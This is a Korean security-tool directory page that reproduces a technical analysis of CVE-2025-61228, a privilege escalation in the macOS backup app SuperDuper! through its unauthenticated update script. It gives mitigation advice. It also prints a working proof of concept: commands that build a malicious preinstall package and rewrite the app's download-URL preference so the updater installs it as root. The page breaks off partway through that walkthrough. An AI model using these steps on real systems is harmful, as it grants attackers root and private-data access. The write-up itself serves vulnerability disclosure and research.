Skip to content
KitploitKITPLOIT
도구익스플로잇블로그
Log in
제출
도구익스플로잇블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

피드문의개인정보© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2025-61228 — CVE-2025-61228에 대한 기술적 분석 및 개념 증명 익스플로잇으로, SuperDuper!의 자동 업데이트 메커니즘에서 발생하는 권한 상승 취약점입니다. 공격 벡터에 대한 상세 분석과 완화 지침을 포함합니다. | Kitploit
도구/GitHubGitHub/graypixel2121/cve-2025-61228
Privilege EscalationVulnerability AnalysisExploitationMalware AnalysisPapers & ResearchLearning & Education
GitHubgraypixel2121/cve-2025-61228

CVE-2025-61228

CVE-2025-61228에 대한 기술적 분석 및 개념 증명 익스플로잇으로, SuperDuper!의 자동 업데이트 메커니즘에서 발생하는 권한 상승 취약점입니다. 공격 벡터에 대한 상세 분석과 완화 지침을 포함합니다.

저장소 보기
1410개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2025-61228

경고

이 문제는 개발자가 주장하는 것보다 더 심각한 것으로 보이므로, 이 부분이 묻히지 않길 바랍니다. 개발자는 자신의 블로그에서 다음과 같이 언급했습니다:

이 문제는 시스템에서 실행 중인 프로그램이 SuperDuper의 업데이트를 확인하고 있을 때, 합법적인 수단을 통해 실제 업데이트가 제공되고, 사용자가 업그레이드를 클릭한 경우에만 발생할 수 있습니다.

이는 사실이 아닙니다. 이 취약점을 악용하기 위해 합법적인 수단을 통해 실제 업데이트가 제공될 필요는 없습니다. SuperDuper 3.10 및 이전 버전이 제공하는 업데이트를 절대, 절대 수락하지 마십시오! 이에 대해서는 아래에서 더 자세히 설명합니다.

또한 이 취약점이 권한 상승에만 국한된 것이 아니라 개인정보 보호 통제의 무력화도 포함한다는 점을 이해하는 것이 중요합니다. 이 내용은 개발자의 블로그 게시글에서 누락된 것으로 보입니다.

설명

개발자의 블로그에서 인용:

저희의 자동 업데이트 메커니즘이 하이재킹되어 SuperDuper가 아닌 패키지를 설치하도록 속을 수 있습니다.

저희는 설치 프로그램 패키지를 서명하고 공증했지만, Gatekeeper는 macOS의 패키지 설치 프로그램에 의해 설치될 때 해당 공증을 확인하지 않습니다. 따라서 다운로드가 변경될 수 있으며, 대신 그 패키지를 설치하게 됩니다. 설치가 상승된 권한으로 수행되기 때문에, 이는 악의적인 제3자의 프로그램(사용자가 직접 설치해야 함)이 시스템에 대한 관리자 접근 권한을 얻을 수 있게 할 수 있습니다.

CVE 문서에서:

Shirt Pocket SuperDuper! V.3.10 및 이전 버전의 문제로 인해 로컬 공격자가 소프트웨어 업데이트 메커니즘을 통해 임의 코드를 실행할 수 있습니다.

기여

이 글의 작성자는 이 취약점을 발견한 사람이 아닙니다. 발견자는 SuperDuper 개발자가 "익명의 보안 연구원"이라고 밝혔습니다. 저는 이 취약점 발견에 대한 공로를 주장하지 않으며, 단지 기술적 분석에 관심을 가졌을 뿐입니다.

참고 자료

  • SuperDuper 보안 업데이트 v3.11
  • CVE-2025-61228

CVSS 3.1 점수: 7.8 높음 (CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H)

완화 방법

이 취약점을 방지하려면 SuperDuper! 애플리케이션을 삭제하거나 3.11 업데이트를 적용하십시오.

경고: 이 취약점을 피하려면 업데이트를 개발자 웹사이트에서 직접 다운로드해야 합니다.

면책 조항

이 익스플로잇 분석 및 개념 증명은 교육 목적으로만 제공됩니다. 사용에 따른 책임은 본인에게 있습니다.

높은 수준 요약

수백 명의 개발자와 보안 전문가가 테스트한 오픈 소스 소프트웨어 업데이트 솔루션을 구현하는 대신, SuperDuper 개발자는 루트 권한으로 실행되고 전체 디스크 접근 권한을 가진 안전하지 않은 셸 스크립트 위에 자체 소프트웨어 업데이트 메커니즘을 구축했습니다. 업데이트 중 설치되는 소프트웨어를 인증하지 않음으로써 SuperDuper는 공격자의 소프트웨어를 설치하도록 속습니다. 개발자의 수정 사항은 이 취약점의 인증 측면만 해결하며, 업데이트 프로세스를 용이하게 하기 위해 셸 스크립트를 사용함으로써 발생하는 본질적인 취약점은 해결하지 않습니다.

분석: 'Duper' 속이기

개발자의 "Gatekeeper가 공증을 확인하지 않는다"는 주장은 오해의 소지가 있습니다. GateKeeper는 브라우저에서 다운로드한 항목을 열려고 할 때 작동하지만, 이는 애플리케이션의 내부 소프트웨어 업데이트 메커니즘에는 적용되지 않습니다. 개발자가 소프트웨어가 다운로드하여 컴퓨터에 설치하는 모든 것을 검증하는 것은 100% 개발자의 책임입니다. 이 개발자가 GateKeeper의 실패라고 믿게 하지 마십시오. 익스플로잇의 핵심은 공격자가 SuperDuper를 속여 대체 패키지를 설치하게 하는 것이며, 이는 상승된 권한으로 발생합니다. 또한 SuperDuper가 작업을 수행하기 위해 전체 디스크 접근 권한이 필요하기 때문에, 아마도 전체 디스크 접근 권한도 함께 가지게 될 것입니다.

개발자의 블로그에서는 또한 다음과 같이 말합니다:

이 문제는 시스템에서 실행 중인 프로그램이 SuperDuper의 업데이트를 확인하고 있을 때, 합법적인 수단을 통해 실제 업데이트가 제공되고, 사용자가 업그레이드를 클릭한 경우에만 발생할 수 있습니다.

이 말을 듣고 저는 이 익스플로잇을 재현하는 것이 아마 불가능할 것이라고 생각했습니다. 업데이트 메커니즘에 서버 측 변경이 필요할 것이고, 이는 3.11 패치와 함께 이루어졌을 것이기 때문입니다. 즉, 이전 버전의 소프트웨어가 이 취약점의 영향을 받지 않도록 업데이트 메커니즘을 비활성화했을 것이라고 생각했습니다. 그런데... 저는 이전 버전의 SuperDuper를 다운로드하여 열었을 때, 즉시 업데이트 알림†을 받았습니다. 단 한 번의 클릭으로 잠재적 익스플로잇이 가능한 상태였습니다. 이는 매우 흥미로웠습니다. 자동 업데이트 메커니즘이 비활성화되지 않았다면, 이전 버전의 애플리케이션을 사용하는 사람들이 이 취약점으로부터 어떻게 보호될 수 있을까요? (이것은 이 글의 시작 부분에서 언급한 "경고"와 관련이 있습니다. 이 질문은 마지막에 다시 다루겠습니다)

† 사실 좀 이상했습니다. 업데이트에 대한 설명이나 보안 권고 사항은 전혀 없었고, 창은 그냥 비어 있었고 "Skip"과 "Update" 버튼만 있었습니다. 따라서 이전 사용자는 업데이트 메커니즘이 비활성화되지 않아 익스플로잇으로부터 보호받지 못할 뿐만 아니라, 업데이트 메커니즘을 통해 문제에 대한 정보도 제공받지 못하고 있습니다.

계속 진행했습니다. 업그레이드를 적용할 때 백엔드 메커니즘은 SuperDuper 로그에 친절하게 기록되므로, 해당 로그를 통해 어떻게 작동하는지 살펴보겠습니다:

 Transcript  : UpgradeTranscript.plist
 Ext Logging : Disabled
 PHASE: 1. Upgrade Application
 ...ACTION: Downloading upgrade package
 ......COMMAND => Downloading update package...
 ......COMMAND => Preparing update package
 ...ACTION: Installing upgrade package
 ......COMMAND => Preserving SDAgent owner and mode bits
 ......COMMAND => Installing upgrade package
 installer[3148] <Debug>: Product archive /tmp/SuperDuper!.pkg trustLevel=350

Mac App Store 외부에 있는 많은 Mac 앱은 오픈 소스 Sparkle 프레임워크를 사용하여 (안전하게) 소프트웨어 업데이트를 관리합니다. SuperDuper는 그렇지 않습니다. 여기서 볼 수 있듯이 그들은 자체적인 업데이트 메커니즘을 만들었고, 이것이 왜 종종 나쁜 선택인지 보여주는 좋은 예입니다. 소프트웨어 업그레이드 메커니즘은 익스플로잇의 주요 대상이므로, 이를 안전하게 유지하기 위해서는 많은 시간과 전문성이 필요합니다. "UpgradeTranscript.plist"는 SuperDuper 애플리케이션 내부의 파일을 참조하며, 이 파일은 SuperDuper가 업데이트를 다운로드하고 적용하는 데 사용하는 일련의 터미널 명령을 정의합니다:

cat /Applications/SuperDuper\!.app/Contents/Resources/Transcripts/UpgradeTranscript.plist
<?xml version="1.0" encoding="UTF-8"?>
...
/usr/bin/curl SDHTTPproxy.Host --silent --show-error --output /tmp/superduper.tar.gz -L SDdownloadURL

cd /tmp; if [ -d superduper_install ]; then /bin/rm -rf superduper_install; fi; /bin/mkdir superduper_install; /usr/bin/tar xzf superduper.tar.gz; /bin/rm /tmp/superduper.tar.gz; if [ -d '/Library/Receipts/SuperDuper!.pkg' ]; then /bin/rm -rf '/Library/Receipts/SuperDuper!.pkg'; fi;

/usr/sbin/installer -allow -verboseR -dumplog -pkg '/tmp/SuperDuper!.pkg' -target / >&amp;1 2>&amp;1;

if [ ! -d '/tmp/superduper_install/SuperDuper!.app' ]; then /usr/bin/ditto -rsrc '/Applications/Utilities/SuperDuper!.app' '/tmp/superduper_install/SuperDuper!.app'; fi

/bin/rm -rf '/tmp/SuperDuper!.pkg' '/tmp/superduper_install' '/Library/Receipts/SuperDuper!.pkg'; if [ SDAppBundle.'Path != '/Applications/Utilities/SuperDuper!.app' -a -d '/Applications/Utilities/SuperDuper!.app' ]; then /bin/rm -rf '/Applications/Utilities/SuperDuper!.app'; fi

이 명령과 절차에서 최소한 네 가지 문제점을 발견했습니다:

  1. superduper.tar.gz가 다운로드되지만, 진위 여부는 절대 확인되지 않습니다.
  2. 아카이브가 압축 해제되지만, superduper_install 폴더가 생성된 후 대체 패키지를 교체할 수 있는 악용 가능한 경쟁 조건(race condition)이 있습니다.
  3. 압축 해제된 "SuperDuper!.pkg" 패키지도 체크섬이 확인되지 않습니다.
  4. 개발자가 installer 명령을 -allow 플래그("신뢰할 수 없거나 만료된 인증서로 서명된 패키지 설치 허용")와 함께 호출하여 사실상 이러한 약점을 악용하도록 유도하고 있습니다.

패키지 설치 프로그램은 셸 스크립트를 실행할 수 있으므로, 이것이 대체 설치 프로그램 패키지의 공격 벡터가 될 것이라고 가정합니다. 먼저 사전 설치 스크립트를 실행하는 패키지를 빌드한 다음, 이를 업데이트 메커니즘에 어떻게 끼워 넣을지 알아보겠습니다.

# "/tmp/superduper_install" 설치 폴더를 사용하면 SuperDuper가 편리하게 정리해 줍니다.
mkdir /tmp/superduper_install
mkdir /tmp/superduper_install/script
mkdir /tmp/superduper_install/pkg

# 스크립트 생성. /Library는 루트만 쓸 수 있으므로, 거기에 테스트 파일을 생성해 보겠습니다.
# Desktop 폴더의 내용을 가져오려면 사용자가 부여한 개인 정보 보호 권한이 필요하므로,
# 해당 폴더 목록을 데스크톱의 텍스트 파일로 가져와 전체 디스크 접근 권한이 있는지 확인해 보겠습니다.
# 참고: 이 익스플로잇 부분을 효과적으로 테스트하려면 터미널에서 전체 디스크 접근 권한을 취소해야 합니다.
cd ~; export home=`pwd`
printf '#!/bin/bash\ntouch /Library/test\n' > /tmp/superduper_install/script/preinstall
printf "ls -l $home/Desktop > $home/Desktop/private_data\nexit 0\n" >> /tmp/superduper_install/script/preinstall
chmod a+x /tmp/superduper_install/script/preinstall

# 패키지 빌드
pkgbuild --nopayload --scripts /tmp/superduper_install/script --identifier com.example.mypackage --version 1.0 /tmp/superduper_install/pkg/SuperDuper\!.pkg

# 패키지를 tar 아카이브에 넣기
cd /tmp/superduper_install/pkg
tar -cf /tmp/superduper_install/superduped.tar.gz SuperDuper\!.pkg

잠시 옆길로 새서, 이 익스플로잇이 공격자에게 어떤 접근 권한을 제공하는지 살펴보겠습니다. 셸 스크립트를 수동으로 실행하면(터미널에 전체 디스크 접근 권한이나 "파일 및 폴더" 접근 권한이 없다고 가정), 두 가지 오류가 발생합니다:

touch: /Library/test: Permission denied
ls: /Users/user/Desktop: Operation not permitted

공격자는 루트 접근 권한만으로도 많은 피해를 입힐 수 있지만, 개인 정보 접근 권한까지 있다면 홈 폴더 내의 더 넓은 범위의 콘텐츠(데스크톱은 사소해 보일 수 있지만, 숨겨진 Library 폴더에는 엄청난 양의 개인 데이터가 저장됩니다)에 접근할 수 있습니다. 이 익스플로잇은 두 가지를 모두 제공합니다.

자, 패키지 빌드는 쉬운 부분이었습니다. 어떻게 업데이트 메커니즘에 침투할 수 있을까요? 경쟁 조건을 악용하는 것이 명백한 후보였지만, 다음과 같은 절차 부분에 개입할 수 있을지 궁금했습니다:

/usr/bin/curl SDHTTPproxy.Host --silent --show-error --output /tmp/superduper.tar.gz -L SDdownloadURL

호스트와 다운로드 URL 변수는 분명히 스크립트 외부에서 오는 것입니다. 조작할 수 있을까요? Sparkle 소프트웨어 업데이트 메커니즘을 사용하는 앱은 종종 CFPreferences에 "소프트웨어 업데이트 확인" URL을 저장하므로, SuperDuper도 같은 방식을 사용할지 궁금했습니다. 예상대로였지만, 더 심각했습니다. SuperDuper는 업데이트 확인을 위한 URL만 저장하는 것이 아니라 실제 다운로드 URL을 CFPreferences에 저장하고 있었습니다:

defaults read com.blacey.SuperDuper
...
    UMdownloadURL = "https://s3.amazonaws.com/shirtpocket/SuperDuper/beta/superduper2.tar.gz";
    UMfailureCount = 0;
    UMinfoURL = "https://s3.amazonaws.com/shirtpocket/SuperDuper/beta/superduperinfo2.rtf";
    UMpublicVersion = "137.7";

로컬 파일 시스템 URL로 URL을 덮어쓰려고 시도했습니다:

defaults write com.blacey.SuperDuper UMdownloadURL "file:///tmp/superduper_install/superduped.tar.gz"
도구 다운로드